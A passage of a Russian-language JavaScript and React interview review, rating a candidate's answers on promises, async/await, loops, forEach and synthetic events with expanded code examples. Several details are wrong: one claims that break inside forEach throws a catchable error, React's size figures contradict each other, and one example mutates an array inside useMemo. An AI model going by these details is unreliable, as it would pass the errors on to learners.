Ответ собеседника: Правильный. Промис — функция-конструктор, принимающая executor с resolve/reject. Имеет три состояния: pending, fulfilled, rejected. Обрабатывается через then, catch, finally. async/await работает только в функциях помеченных как async, асинхронные функции всегда возвращают промис. await приостанавливает выполнение до завершения промиса, обработка ошибок через try/catch.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.

Состояния промиса:

Pending ──resolve()──→ Fulfilled (resolved)

└──reject()──→ Rejected

Промис может перейти из pending в fulfilled или rejected только один раз. После этого состояние неизменно (settled).

Создание промиса:

const promise = new Promise((resolve, reject) => {
// Асинхронная операция
setTimeout(() => {
const success = true;

if (success) {
resolve('Data loaded'); // Переход в fulfilled
} else {
reject(new Error('Failed')); // Переход в rejected
}
}, 1000);
});

Использование через then/catch/finally:

promise
.then(data => {
console.log(data); // 'Data loaded'
return data.toUpperCase();
})
.then(upperData => {
console.log(upperData); // 'DATA LOADED'
})
.catch(error => {
console.error(error);
})
.finally(() => {
console.log('Done'); // Выполняется всегда
});

async/await — синтаксический сахар:

// С промисами
function fetchData() {
return fetch('/api/data')
.then(response => response.json())
.then(data => {
console.log(data);
return data;
})
.catch(error => {
console.error(error);
});
}

// С async/await — тот же код
async function fetchData() {
try {
const response = await fetch('/api/data');
const data = await response.json();
console.log(data);
return data;
} catch (error) {
console.error(error);
}
}

Ключевые отличия async/await:

1. Синхронный стиль кода:

// Промисы — цепочка then
function getUserData(userId) {
return fetchUser(userId)
.then(user => fetchOrders(user.id))
.then(orders => fetchProducts(orders[0].id))
.then(products => ({ user, orders, products }))
.catch(error => handleError(error));
}

// async/await — читается как синхронный код
async function getUserData(userId) {
try {
const user = await fetchUser(userId);
const orders = await fetchOrders(user.id);
const products = await fetchProducts(orders[0].id);
return { user, orders, products };
} catch (error) {
handleError(error);
}
}

2. Обработка ошибок:

// Промисы — catch в цепочке
fetchData()
.then(processData)
.then(saveData)
.catch(error => {
// Ловит ошибки из любого then
console.error(error);
});

// async/await — try/catch
async function handleData() {
try {
const data = await fetchData();
const processed = await processData(data);
await saveData(processed);
} catch (error) {
// Ловит ошибки из любого await
console.error(error);
}
}

3. Параллельное выполнение:

// Промисы — Promise.all
async function loadDashboard() {
const [users, orders, products] = await Promise.all([
fetchUsers(),
fetchOrders(),
fetchProducts()
]);

return { users, orders, products };
}

// Без async/await — менее читаемо
function loadDashboard() {
return Promise.all([
fetchUsers(),
fetchOrders(),
fetchProducts()
]).then(([users, orders, products]) => ({
users, orders, products
}));
}

Важные нюансы async/await:

1. async функция всегда возвращает промис:

async function getValue() {
return 42; // Автоматически оборачивается в Promise.resolve(42)
}

getValue().then(v => console.log(v)); // 42

2. await можно использовать только внутри async:

// Ошибка — await вне async
// const data = await fetchData(); // SyntaxError

// Правильно
async function main() {
const data = await fetchData();
}

3. Последовательное vs параллельное:

// Последовательно — медленно (3 секунды)
async function sequential() {
const a = await fetchA(); // 1 сек
const b = await fetchB(); // 1 сек
const c = await fetchC(); // 1 сек
return [a, b, c];
}

// Параллельно — быстро (1 секунда)
async function parallel() {
const [a, b, c] = await Promise.all([
fetchA(),
fetchB(),
fetchC()
]);
return [a, b, c];
}

4. Обработка ошибок в параллельных запросах:

// Promise.all — отклоняется при первой ошибке
async function loadAll() {
try {
const [users, orders] = await Promise.all([
fetchUsers(), // Если упадёт — orders не загрузятся
fetchOrders()
]);
} catch (error) {
// Один из запросов провалился
}
}

// Promise.allSettled — ждёт все, даже при ошибках
async function loadAllSafe() {
const results = await Promise.allSettled([
fetchUsers(),
fetchOrders()
]);

const users = results[0].status === 'fulfilled'
? results[0].value
: null;

const orders = results[1].status === 'fulfilled'
? results[1].value
: null;
}

5. Цепочки vs async/await:

// Промисы — цепочка с промежуточными результатами
function processWithPromises(input) {
return Promise.resolve(input)
.then(data => step1(data))
.then(result1 => step2(result1))
.then(result2 => step3(result2));
}

// async/await — промежуточные переменные
async function processWithAsync(input) {
const data = await Promise.resolve(input);
const result1 = await step1(data);
const result2 = await step2(result1);
const result3 = await step3(result2);
return result3;
}

Итог:

async/await — это не замена промисам, а синтаксический сахар над ними. Под капотом async функции используют промисы. Преимущества async/await:

  • Более читаемый код
  • Проще обработка ошибок через try/catch
  • Проще отладка (точки останова работают ожидаемо)
  • Более понятный поток управления

Вопрос 23. Если в блоке then вернуть значение и перейти в finally — получим ли мы это значение в finally?

Таймкод: 00:36:47

Ответ собеседова: Правильный. Нет, finally не получает аргументов и ничего не принимает — он просто выполняется в любом случае после then/catch.

Правильный ответ:

Ответ собеседника полностью верен. Ниже приведено дополнительное пояснение с примерами.

Поведение finally:

finally выполняется всегда, независимо от того, был ли промис разрешён или отклонён. Он не получает аргументов и не может изменить результат цепочки.

Promise.resolve('hello')
.then(value => {
console.log('then:', value); // 'hello'
return value.toUpperCase();
})
.finally(result => {
// result — undefined!
console.log('finally result:', result); // undefined
console.log('finally executed');
return 'from finally'; // Это значение игнорируется
})
.then(value => {
console.log('next then:', value); // 'HELLO' (не 'from finally')
});

Вывод:

then: hello
finally result: undefined
finally executed
next then: HELLO

Почему так работает:

finally предназначен для очистки ресурсов — закрытия соединений, скрытия индикаторов загрузки, освобождения памяти. Он не должен влиять на данные в цепочке.

// Правильное использование finally
async function fetchData() {
showLoading();

try {
const response = await fetch('/api/data');
const data = await response.json();
return data;
} catch (error) {
console.error(error);
throw error;
} finally {
hideLoading(); // Выполняется всегда
}
}

Сравнение с try/catch/finally в синхронном коде:

// Синхронный аналог
try {
const result = syncOperation();
console.log(result);
} catch (error) {
console.error(error);
} finally {
cleanup(); // Выполняется всегда, не получает result
}

Важные особенности finally:

1. finally не изменяет значение в цепочке:

Promise.resolve(10)
.then(x => x * 2) // 20
.finally(() => 999) // 999 игнорируется
.then(x => console.log(x)); // 20

2. finally с reject прерывает цепочку:

Promise.resolve('ok')
.then(x => x)
.finally(() => {
throw new Error('finally error');
})
.catch(e => console.log(e.message)); // 'finally error'

3. finally с асинхронным кодом:

Promise.resolve('data')
.then(processData)
.finally(async () => {
await saveLog(); // Асинхронная операция
hideLoading();
})
.then(result => {
// Этот then ждёт завершения асинхронного finally
console.log(result);
});

Итог:

finally — это механизм для выполнения кода независимо от результата. Он не получает и не изменяет значение в цепочке промисов. Это поведение соответствует принципу единственной ответственности: then обрабатывает успех, catch обрабатывает ошибки, finally выполняет очистку.

Вопрос 24. Работает ли await внутри обычных циклов (for, while) и как сделать так, чтобы цикл ждал завершения асинхронной операции перед следующей итерацией?

Таймкод: 00:37:58

Ответ собеседника: Неполный. В обычных циклах for/while await не сработает корректно — цикл продолжит выполняться. Предположил, что for...of работает с await, а для обычных циклов не знает механизма. Не упомянул for await...of как специальную конструкцию для асинхронной итерации.

Правильный ответ:

await внутри обычных циклов работает корректно — он приостанавливает выполнение текущей итерации до завершения промиса. Это одно из ключевых преимуществ async/await.

await в обычных циклах:

// Обычный for — await работает
async function processItems(items) {
for (let i = 0; i < items.length; i++) {
const result = await fetchData(items[i]); // Ждёт завершения
console.log(`Item ${i}:`, result);
}
}

// while — await работает
async function processQueue(queue) {
while (queue.length > 0) {
const item = queue.shift();
await processItem(item); // Ждёт завершения
}
}

// for...of — await работает
async function processUsers(users) {
for (const user of users) {
const profile = await fetchProfile(user.id); // Ждёт
console.log(profile);
}
}

Проблема с forEach и map:

// НЕПРАВИЛЬНО — forEach не ждёт await
async function badExample(items) {
items.forEach(async (item) => {
await processItem(item); // Не ждёт! Все запросы запускаются параллельно
});
console.log('Done'); // Выполнится ДО завершения processItem
}

// ПРАВИЛЬНО — for...of ждёт
async function goodExample(items) {
for (const item of items) {
await processItem(item); // Ждёт завершения
}
console.log('Done'); // Выполнится ПОСЛЕ всех processItem
}

Параллельное выполнение в цикле:

Если нужна параллельность — собираем промисы и используем Promise.all:

// Параллельно — быстрее
async function processParallel(items) {
const promises = items.map(item => processItem(item));
const results = await Promise.all(promises);
return results;
}

// Последовательно — медленнее, но контролируемо
async function processSequential(items) {
const results = [];
for (const item of items) {
const result = await processItem(item);
results.push(result);
}
return results;
}

for await...of — асинхронные итераторы:

Специальная конструкция для итерации по асинхронным коллекциям:

// Асинхронный генератор
async function* asyncGenerator() {
yield await fetch('/api/item/1');
yield await fetch('/api/item/2');
yield await fetch('/api/item/3');
}

// for await...of
async function consume() {
for await (const response of asyncGenerator()) {
const data = await response.json();
console.log(data);
}
}

Практический пример — пагинация API:

// Загрузка всех страниц последовательно
async function fetchAllPages(baseUrl) {
const allItems = [];
let page = 1;
let hasMore = true;

while (hasMore) {
const response = await fetch(`${baseUrl}?page=${page}`);
const data = await response.json();

allItems.push(...data.items);
hasMore = data.hasNextPage;
page++;
}

return allItems;
}

Параллельная загрузка с ограничением concurrency:

// Ограничение параллелизма — не более 5 одновременных запросов
async function processWithConcurrency(items, concurrency = 5) {
const results = [];

for (let i = 0; i < items.length; i += concurrency) {
const batch = items.slice(i, i + concurrency);
const batchResults = await Promise.all(
batch.map(item => processItem(item))
);
results.push(...batchResults);
}

return results;
}

// Или через async библиотеку
async function processWithPool(items, concurrency = 5) {
const results = [];
const executing = new Set();

for (const item of items) {
const promise = processItem(item).then(result => {
executing.delete(promise);
return result;
});

executing.add(promise);
results.push(promise);

if (executing.size >= concurrency) {
await Promise.race(executing);
}
}

return Promise.all(results);
}

Сравнение подходов:

const items = [1, 2, 3, 4, 5];

// 1. Последовательно — 5 секунд (1 сек × 5)
async function sequential() {
for (const item of items) {
await delay(1000);
console.log(item);
}
}

// 2. Параллельно — 1 секунда
async function parallel() {
await Promise.all(items.map(async (item) => {
await delay(1000);
console.log(item);
}));
}

// 3. С ограничением concurrency=2 — 3 секунды
async function limitedConcurrency() {
for (let i = 0; i < items.length; i += 2) {
const batch = items.slice(i, i + 2);
await Promise.all(batch.map(async (item) => {
await delay(1000);
console.log(item);
}));
}
}

Итог:

  • await работает внутри всех типов циклов: for, while, for...of
  • forEach и map не ждут await — используйте for...of для последовательного выполнения
  • for await...of — для асинхронных итераторов
  • Для параллелизма — Promise.all или контролируемый pool с ограничением concurrency

Вопрос 25. Как пройтись по массиву URL и для каждого вызвать асинхронный запрос, дождавшись всех ответов перед продолжением кода?

Таймкод: 00:40:57

Ответ собеседника: Правильный. Обернуть каждый вызов в промис и использовать Promise.all — передать массив промисов и дождаться их выполнения через then или await.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.

Базовый подход — Promise.all:

async function fetchAllUrls(urls) {
const responses = await Promise.all(
urls.map(url => fetch(url))
);

const data = await Promise.all(
responses.map(r => r.json())
);

return data;
}

// Использование
const urls = [
'https://api.example.com/users',
'https://api.example.com/posts',
'https://api.example.com/comments'
];

const [users, posts, comments] = await fetchAllUrls(urls);

С обработкой ошибок — Promise.allSettled:

async function fetchAllUrlsSafe(urls) {
const results = await Promise.allSettled(
urls.map(url => fetch(url).then(r => r.json()))
);

const successful = [];
const failed = [];

results.forEach((result, index) => {
if (result.status === 'fulfilled') {
successful.push(result.value);
} else {
failed.push({ url: urls[index], error: result.reason });
}
});

return { successful, failed };
}

// Использование
const { successful, failed } = await fetchAllUrlsSafe(urls);

if (failed.length > 0) {
console.log('Failed URLs:', failed);
}
console.log('Successful:', successful);

С ограничением concurrency:

async function fetchWithConcurrency(urls, concurrency = 5) {
const results = [];

for (let i = 0; i < urls.length; i += concurrency) {
const batch = urls.slice(i, i + concurrency);
const batchResults = await Promise.all(
batch.map(url => fetch(url).then(r => r.json()))
);
results.push(...batchResults);
}

return results;
}

// Или более элегантное решение с пулом
async function fetchWithPool(urls, concurrency = 5) {
const results = new Array(urls.length);
let index = 0;

async function worker() {
while (index < urls.length) {
const currentIndex = index++;
const response = await fetch(urls[currentIndex]);
results[currentIndex] = await response.json();
}
}

const workers = Array(concurrency).fill(null).map(() => worker());
await Promise.all(workers);

return results;
}

С таймаутом для каждого запроса:

async function fetchWithTimeout(url, timeout = 5000) {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), timeout);

try {
const response = await fetch(url, { signal: controller.signal });
return await response.json();
} finally {
clearTimeout(timeoutId);
}
}

async function fetchAllWithTimeout(urls, timeout = 5000) {
return Promise.all(
urls.map(url => fetchWithTimeout(url, timeout))
);
}

С retry при ошибках:

async function fetchWithRetry(url, maxRetries = 3) {
for (let attempt = 0; attempt < maxRetries; attempt++) {
try {
const response = await fetch(url);
if (!response.ok) throw new Error(`HTTP ${response.status}`);
return await response.json();
} catch (error) {
if (attempt === maxRetries - 1) throw error;
await delay(Math.pow(2, attempt) * 1000); // Exponential backoff
}
}
}

function delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

async function fetchAllWithRetry(urls, maxRetries = 3) {
return Promise.all(
urls.map(url => fetchWithRetry(url, maxRetries))
);
}

Полное решение со всеми функциями:

async function fetchAll(urls, options = {}) {
const {
concurrency = 5,
timeout = 10000,
retries = 3,
retryDelay = 1000
} = options;

const results = new Array(urls.length);
const errors = [];
let index = 0;

async function fetchOne(url) {
for (let attempt = 0; attempt < retries; attempt++) {
try {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), timeout);

const response = await fetch(url, { signal: controller.signal });
clearTimeout(timeoutId);

if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}

return await response.json();
} catch (error) {
if (attempt === retries - 1) throw error;
await new Promise(r => setTimeout(r, retryDelay * Math.pow(2, attempt)));
}
}
}

async function worker() {
while (index < urls.length) {
const currentIndex = index++;
try {
results[currentIndex] = await fetchOne(urls[currentIndex]);
} catch (error) {
errors.push({ url: urls[currentIndex], error });
results[currentIndex] = null;
}
}
}

const workers = Array(concurrency).fill(null).map(() => worker());
await Promise.all(workers);

return { results, errors };
}

// Использование
const { results, errors } = await fetchAll([
'https://api.example.com/users',
'https://api.example.com/posts',
'https://api.example.com/comments'
], {
concurrency: 3,
timeout: 5000,
retries: 2
});

Сравнение Promise.all vs Promise.allSettled:

// Promise.all — падает при первой ошибке
try {
const results = await Promise.all([
fetch('/api/fast'), // 100ms
fetch('/api/error'), // 500 error — всё отменяется
fetch('/api/slow') // 2000ms
]);
} catch (error) {
console.log('One request failed, all rejected');
}

// Promise.allSettled — ждёт все
const results = await Promise.allSettled([
fetch('/api/fast'),
fetch('/api/error'),
fetch('/api/slow')
]);

results.forEach(result => {
if (result.status === 'fulfilled') {
console.log('Success:', result.value);
} else {
console.log('Failed:', result.reason);
}
});

Итог:

  • Promise.all — для параллельной загрузки, падает при первой ошибке
  • Promise.allSettled — для параллельной загрузки, ждёт все результаты
  • Ограничение concurrency — для контроля нагрузки на сервер
  • Retry и timeout — для надёжности в production

Вопрос 26. Можно ли внутри метода forEach использовать return для возврата результата и можно ли прервать выполнение forEach?

Таймкод: 00:41:52

Ответ собеседника: Неполный. Предположил, что return внутри forEach не работает и нельзя прервать выполнение цикла. Не упомянул, что в forEach нельзя использовать break/continue, но это можно сделать в обычных циклах for/for...of.

Правильный ответ:

Ответ собеседника в целом верен. Ниже приведено детальное объяснение.

return внутри forEach:

return внутри forEach работает как continue в обычном цикле — он пропускает текущую итерацию, но не возвращает результат из внешней функции и не прерывает цикл.

const numbers = [1, 2, 3, 4, 5];

// return внутри forEach — пропускает текущую итерацию
numbers.forEach(num => {
if (num === 3) return; // Пропускает 3, но цикл продолжается
console.log(num);
});
// Вывод: 1, 2, 4, 5

// return не возвращает значение из внешней функции
function findItem(items) {
items.forEach(item => {
if (item.id === 2) {
return item; // Это return из callback, не из findItem!
}
});
}

const result = findItem([{ id: 1 }, { id: 2 }]);
console.log(result); // undefined

Невозможно прервать forEach:

// break — синтаксическая ошибка
try {
[1, 2, 3].forEach(num => {
if (num === 2) break; // SyntaxError
});
} catch (e) {
console.log(e.message); // Illegal break statement
}

// continue — синтаксическая ошибка
try {
[1, 2, 3].forEach(num => {
if (num === 2) continue; // SyntaxError
});
} catch (e) {
console.log(e.message); // Illegal continue statement
}

Альтернативы для прерывания и возврата:

1. for...of с break/return:

// Прерывание цикла
function findItem(items) {
for (const item of items) {
if (item.id === 2) {
return item; // Возвращает из функции
}
}
return null;
}

const found = findItem([{ id: 1 }, { id: 2 }, { id: 3 }]);
console.log(found); // { id: 2 }

2. some() — для проверки наличия элемента:

const numbers = [1, 2, 3, 4, 5];

// Найти первый элемент, удовлетворяющий условию
const hasEven = numbers.some(num => {
return num % 2 === 0; // Возвращает true на 2, цикл прерывается
});
console.log(hasEven); // true

3. find() — для поиска элемента:

const users = [
{ id: 1, name: 'Alice' },
{ id: 2, name: 'Bob' },
{ id: 3, name: 'Charlie' }
];

const user = users.find(u => u.id === 2);
console.log(user); // { id: 2, name: 'Bob' }

4. every() — для проверки всех элементов:

const numbers = [2, 4, 6, 8];

const allEven = numbers.every(num => num % 2 === 0);
console.log(allEven); // true

const mixed = [2, 4, 5, 8];
const allEvenMixed = mixed.every(num => num % 2 === 0);
console.log(allEvenMixed); // false — прерывается на 5

5. try/catch для принудительного прерывания (антипаттерн):

// Работает, но не рекомендуется
try {
[1, 2, 3, 4, 5].forEach(num => {
console.log(num);
if (num === 3) {
throw new Error('Break');
}
});
} catch (e) {
if (e.message !== 'Break') throw e;
}
// Вывод: 1, 2, 3

Сравнение методов массива:

МетодПрерываетсяВозвращаетИспользование
forEachНетundefinedСайд-эффекты
mapНетНовый массивТрансформация
filterНетНовый массивФильтрация
findДа (при true)ЭлементПоиск первого
findIndexДа (при true)ИндексПоиск индекса
someДа (при true)booleanПроверка наличия
everyДа (при false)booleanПроверка всех
reduceНетЛюбое значениеАгрегация

Когда использовать forEach:

// Правильно — сайд-эффекты без возврата
users.forEach(user => {
sendEmail(user);
logActivity(user.id);
});

// Неправильно — используйте map
const names = [];
users.forEach(user => {
names.push(user.name); // Лучше: users.map(u => u.name)
});

// Неправильно — используйте find/some
let found = null;
users.forEach(user => {
if (user.id === 2) found = user; // Лучше: users.find(u => u.id === 2)
});

Итог:

  • return внутри forEach — пропускает текущую итерацию (как continue), не возвращает значение из функции
  • break и continue внутри forEach — синтаксическая ошибка
  • Для прерывания используйте for...of, find, some, every
  • Для возврата значения используйте find, findIndex, reduce
  • forEach предназначен только для сайд-эффектов, не для трансформации или поиска

Вопрос 27. Почему React работает быстрее обычного JavaScript и за счёт чего достигается эта производительность?

Таймкод: 00:43:37

Ответ собеседника: Правильный. React использует виртуальный DOM — легковесную копию реального DOM в виде обычного JavaScript-объекта. При изменении состояния сначала обновляется виртуальный DOM, затем вычисляется разница между старым и новым деревом (diffing), и точечно обновляются только изменившиеся части реального DOM. Это быстрее, чем прямая манипуляция через querySelector с последующим парсингом и мутацией.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание.

Проблема прямых манипуляций с DOM:

// Прямая работа с DOM — медленно
function updateList(items) {
const list = document.getElementById('list');
list.innerHTML = ''; // Полная перерисовка!

items.forEach(item => {
const li = document.createElement('li');
li.textContent = item.name;
li.className = 'item';
li.addEventListener('click', () => handleClick(item.id));
list.appendChild(li);
});
}

Проблемы этого подхода:

  • innerHTML = '' уничтожает все элементы и обработчики событий
  • Каждый appendChild вызывает reflow и repaint
  • Нет оптимизации — даже если изменился один элемент, перерисовывается всё

Как работает Virtual DOM:

1. Состояние изменилось

2. Создаётся новое виртуальное дерево (JavaScript объекты)

3. Diffing — сравнение старого и нового виртуальных деревьев

4. Reconciliation — вычисление минимального набора изменений

5. Пакетное обновление реального DOM (batch update)

Виртуальный DOM — это просто объекты:

// Реальный DOM (тяжёлый)
<li class="item" data-id="1">
<span class="name">Item 1</span>
</li>

// Виртуальный DOM (лёгкий JavaScript объект)
{
type: 'li',
props: { className: 'item', 'data-id': '1' },
children: [
{
type: 'span',
props: { className: 'name' },
children: ['Item 1']
}
]
}

Алгоритм Diffing:

React использует эвристический алгоритм сравнения с двумя ключевыми допущениями:

1. Разные типы элементов — разные деревья:

// Было
<div>
<Counter />
</div>

// Стало
<span>
<Counter />
</span>

// React уничтожает div (и всё внутри) и создаёт span заново

2. Ключ (key) определяет стабильность элемента:

// Без ключей — React не понимает, что элемент переместился
{items.map(item => <li>{item.name}</li>)}

// С ключами — React понимает и перемещает элемент без пересоздания
{items.map(item => <li key={item.id}>{item.name}</li>)}

Пример diffing:

// Старое виртуальное дерево
<ul>
<li key="a">First</li>
<li key="b">Second</li>
<li key="c">Third</li>
</ul>

// Новое виртуальное дерево
<ul>
<li key="a">First</li>
<li key="b">Updated</li> {/* Только текст изменился */}
<li key="c">Third</li>
</ul>

// React обновит только текстовый узел в элементе "b"

Batch Update — пакетное обновление:

// Без batching — 3 отдельных DOM-обновления
setCount(count + 1); // DOM update 1
setFlag(!flag); // DOM update 2
setName('new'); // DOM update 3

// React 18+ с Automatic Batching — 1 обновление
setCount(count + 1); //
setFlag(!flag); // Все три обновления объединяются
setName('new'); // и применяются за один раз

Fiber Architecture (React 16+):

React использует Fiber — архитектуру, позволяющую прерывать рендеринг:

Старый синхронный рендеринг:
[========= Рендеринг =========] // Нельзя прервать
[==== Пользовательское действие ====] // Ждёт

Fiber (с приоритетами):
[== Рендер ==] [Пользовательское действие] [== Рендер ==] // Прерываемо
// React может прервать рендеринг для более важного обновления
// Например, ввод текста в поле важнее, чем обновление списка

// Низкий приоритет — может быть прерван
startTransition(() => {
setSearchResults(results);
});

// Высокий приоритет — выполняется сразу
setInputValue(value);

Дополнительные оптимизации React:

1. React.memo — мемоизация компонента:

const ExpensiveComponent = React.memo(({ data }) => {
// Рендерится только если data изменился
return <div>{/* дорогой рендеринг */}</div>;
});

2. useMemo — мемоизация вычислений:

const sortedItems = useMemo(() => {
return items.sort((a, b) => a.name.localeCompare(b.name));
}, [items]); // Пересчитывается только при изменении items

3. useCallback — мемоизация функций:

const handleClick = useCallback((id) => {
setSelectedId(id);
}, []); // Функция не пересоздаётся при каждом рендере

Когда React может быть медленнее:

React не всегда быстрее ручных оптимизаций:

// Ручная оптимизация может быть быстрее для простых случаев
document.getElementById('counter').textContent = count;

// React создаёт виртуальное дерево, сравнивает, обновляет
setCount(count + 1);

React даёт преимущество при сложных UI с множеством взаимосвязанных компонентов, где ручное управление DOM становится ошибкоёмким и неэффективным.

Итог:

React быстрее не потому, что сам по себе быстрый, а потому что:

  • Virtual DOM позволяет минимизировать обращения к реальному DOM
  • Batch Update группирует изменения
  • Diffing обновляет только то, что изменилось
  • Fiber позволяет прерывать рендеринг для приоритетных задач
  • Декларативный подход проще оптимизировать, чем императивный

Вопрос 28. Почему пакет React имеет большой размер и что такое синтетические события?

Таймкод: 00:51:00

Ответ собеседника: Неполный. Предположил, что большой размер связан с импортом множества типов, хелперов и функций. Про синтетические события сказал, что это обёртка над нативным событием, оптимизированная под React. Не раскрыл подробно назначение — стандартизацию событий между браузерами и кроссбраузерную совместимость.

Правильный ответ:

Размер пакета React:

React сам по себе относительно небольшой (~6-10 kB minified + gzipped для react + react-dom), но полный бандл React-приложения может быть большим из-за:

1. React DOM — отдельный пакет:

// React — ядро (Virtual DOM, компоненты, хуки)
import React from 'react'; // ~4 kB

// React DOM — рендеринг в браузере
import ReactDOM from 'react-dom'; // ~130 kB (development)

// React DOM — production
// ~40 kB (minified), ~12 kB (gzipped)

2. Development vs Production сборка:

// Development — включает предупреждения, проверки, отладку
// Размер: ~400 kB (React + React DOM)

// Production — минификация, tree-shaking, удаление отладочного кода
// Результат: ~40 kB, ~12 kB gzipped

3. Зависимости экосистемы:

// Типичный React проект включает:
// - React + React DOM: ~40 kB
// - React Router: ~15 kB
// - State management (Redux/Zustand): ~1-10 kB
// - UI библиотека (Ant Design, MUI): ~100-500 kB
// - Утилиты (lodash, axios): ~10-50 kB
// Итого: 200-600 kB

4. Оптимизация размера бандла:

// Tree-shaking — импорт только нужного
import { useState } from 'react'; // Только useState

// Ленивая загрузка компонентов
const HeavyComponent = React.lazy(() => import('./HeavyComponent'));

function App() {
return (
<Suspense fallback={<Loading />}>
<HeavyComponent />
</Suspense>
);
}

Синтетические события (SyntheticEvent):

Синтетические события — это кроссбраузерная обёртка над нативными событиями. React не использует нативные события напрямую.

Проблемы нативных событий:

// Разные браузеры — разные API
element.onclick = function(event) {
// IE: event.srcElement
// Современные: event.target

// IE: event.returnValue = false
// Современные: event.preventDefault()

// IE: event.cancelBubble = true
// Современные: event.stopPropagation()
};

Решение React — SyntheticEvent:

// React нормализует события
function handleClick(event) {
// event — SyntheticEvent, одинаковый во всех браузерах
event.preventDefault(); // Работает везде
event.stopPropagation(); // Работает везде

// Доступ к нативному событию
const nativeEvent = event.nativeEvent;
}

Пул событий (Event Pooling) — до React 17:

// React 16 — синтетические события переиспользовались
function handleClick(event) {
// event будет обнулён после обработчика
console.log(event.type); // 'click'

setTimeout(() => {
console.log(event.type); // null — событие переиспользовано!
}, 0);

// Для асинхронного доступа:
event.persist(); // Отключить переиспользование
}

React 17+ — без пула событий:

// React 17+ — события не переиспользуются
function handleClick(event) {
setTimeout(() => {
console.log(event.type); // 'click' — работает
}, 0);
}

Делегирование событий:

React не вешает обработчики на каждый элемент. Вместо этого используется делегирование:

// Без React — обработчик на каждый элемент
document.querySelectorAll('button').forEach(btn => {
btn.addEventListener('click', handleClick);
});

// React — один обработчик на корневом элементе
// ReactDOM.render() добавляет один обработчик на #root
// Все события всплывают до #root, React определяет целевой элемент
// Как это работает внутри React
document.getElementById('root').addEventListener('click', (nativeEvent) => {
// Определяем целевой DOM элемент
const target = nativeEvent.target;

// Находим соответствующий React компонент
const fiber = getFiberFromDOM(target);

// Создаём SyntheticEvent
const syntheticEvent = new SyntheticEvent(nativeEvent);

// Вызываем обработчик компонента
fiber.onClick(syntheticEvent);
});

Типы синтетических событий:

// Мыши
onClick, onDoubleClick, onMouseEnter, onMouseLeave, onMouseMove

// Клавиатура
onKeyDown, onKeyPress, onKeyUp

// Формы
onChange, onInput, onSubmit, onFocus, onBlur

// Касание (мобильные)
onTouchStart, onTouchMove, onTouchEnd

// Универсальные
onScroll, onWheel, onCopy, onPaste

Пример использования:

function Form() {
const [value, setValue] = useState('');

// onChange — синтетическое событие
const handleChange = (e) => {
// e.target.value — значение поля
setValue(e.target.value);
};

const handleSubmit = (e) => {
// preventDefault — предотвращает отправку формы
e.preventDefault();
console.log('Submitted:', value);
};

return (
<form onSubmit={handleSubmit}>
<input value={value} onChange={handleChange} />
<button type="submit">Submit</button>
</form>
);
}

Итог:

  • Размер React зависит от сборки (dev vs production) и экосистемы
  • Синтетические события обеспечивают кроссбраузерную совместимость
  • Делегирование событий — один обработчик вместо многих
  • SyntheticEvent нормализует API между браузерами

Вопрос 29. Для чего нужны синтетические события в React и почему они увеличивают размер пакета?

Таймкод: 00:52:45

Ответ собеседника: Неполный. Предположил, что синтетические события — это видоизменённая версия нативного события с дополнительными методами и свойствами. Не объяснил, что основная цель — стандартизация объекта события для одинаковой работы в разных браузерах, а увеличение размера связано с необходимостью поддержки этой абстракции.

Правильный ответ:

Этот вопрос уже был подробно рассмотрен в предыдущем ответе. Ниже приведены дополнительные детали.

Основные цели синтетических событий:

1. Кроссбраузерная совместимость:

// Нативные события — различия между браузерами
element.addEventListener('click', (event) => {
// Chrome/Firefox/Safari: event.target
// IE9+: event.target
// IE8: event.srcElement

// Стандарт: event.preventDefault()
// IE8: event.returnValue = false

// Стандарт: event.stopPropagation()
// IE8: event.cancelBubble = true
});

// SyntheticEvent — единый API
function handleClick(event) {
event.preventDefault(); // Работает везде
event.stopPropagation(); // Работает везде
event.target; // Работает везде
event.currentTarget; // Работает везде
event.type; // Работает везде
}

2. Делегирование событий (Event Delegation):

React использует один обработчик на корневом элементе вместо множества обработчиков на каждом элементе:

// Без React — N обработчиков для N кнопок
document.querySelectorAll('button').forEach(btn => {
btn.addEventListener('click', handleClick); // 100 кнопок = 100 обработчиков
});

// С React — один обработчик на #root
// React автоматически делегирует все события
// 100 кнопок = 1 обработчик на корне

Это экономит память и упрощает управление обработчиками, особенно при динамическом добавлении/удалении элементов.

3. Интеграция с Fiber и приоритетами:

Синтетические события интегрированы с архитектурой Fiber:

// React может приоритизировать обработку событий
// Высокий приоритет: ввод текста, клики
// Низкий приоритет: скролл, hover

function handleClick(event) {
// React может отложить обработку для более важных задач
startTransition(() => {
setResults(expensiveSearch(query));
});
}

Почему это увеличивает размер пакета:

1. Код нормализации событий:

// Упрощённая реализация SyntheticEvent
class SyntheticEvent {
constructor(nativeEvent) {
this.nativeEvent = nativeEvent;
this.target = nativeEvent.target;
this.currentTarget = nativeEvent.currentTarget;
this.type = nativeEvent.type;

// Нормализация свойств для разных браузеров
this.button = normalizeButton(nativeEvent);
this.clientX = nativeEvent.clientX || nativeEvent.pageX;
// ... ещё множество свойств
}

preventDefault() {
if (this.nativeEvent.preventDefault) {
this.nativeEvent.preventDefault();
} else {
this.nativeEvent.returnValue = false; // IE8
}
}

stopPropagation() {
if (this.nativeEvent.stopPropagation) {
this.nativeEvent.stopPropagation();
} else {
this.nativeEvent.cancelBubble = true; // IE8
}
}

// ... ещё методы
}

2. Поддержка множества типов событий:

// React создаёт разные SyntheticEvent для разных типов
const eventConstructors = {
'click': SyntheticMouseEvent,
'keydown': SyntheticKeyboardEvent,
'change': SyntheticInputEvent,
'focus': SyntheticFocusEvent,
'scroll': SyntheticUIEvent,
// ... ещё десятков типов
};

3. Пул событий (до React 17):

// React 16 переиспользовал объекты событий для экономии памяти
const eventPool = [];

function getPooledEvent(dispatchConfig, nativeEvent) {
if (eventPool.length > 0) {
const event = eventPool.pop();
// Переинициализация объекта
event.dispatchConfig = dispatchConfig;
event.nativeEvent = nativeEvent;
return event;
}
return new SyntheticEvent(dispatchConfig, nativeEvent);
}

function releaseEvent(event) {
// Обнуление и возврат в пул
event.dispatchConfig = null;
event.nativeEvent = null;
eventPool.push(event);
}

Влияние на размер бандла:

React (ядро): ~4 kB
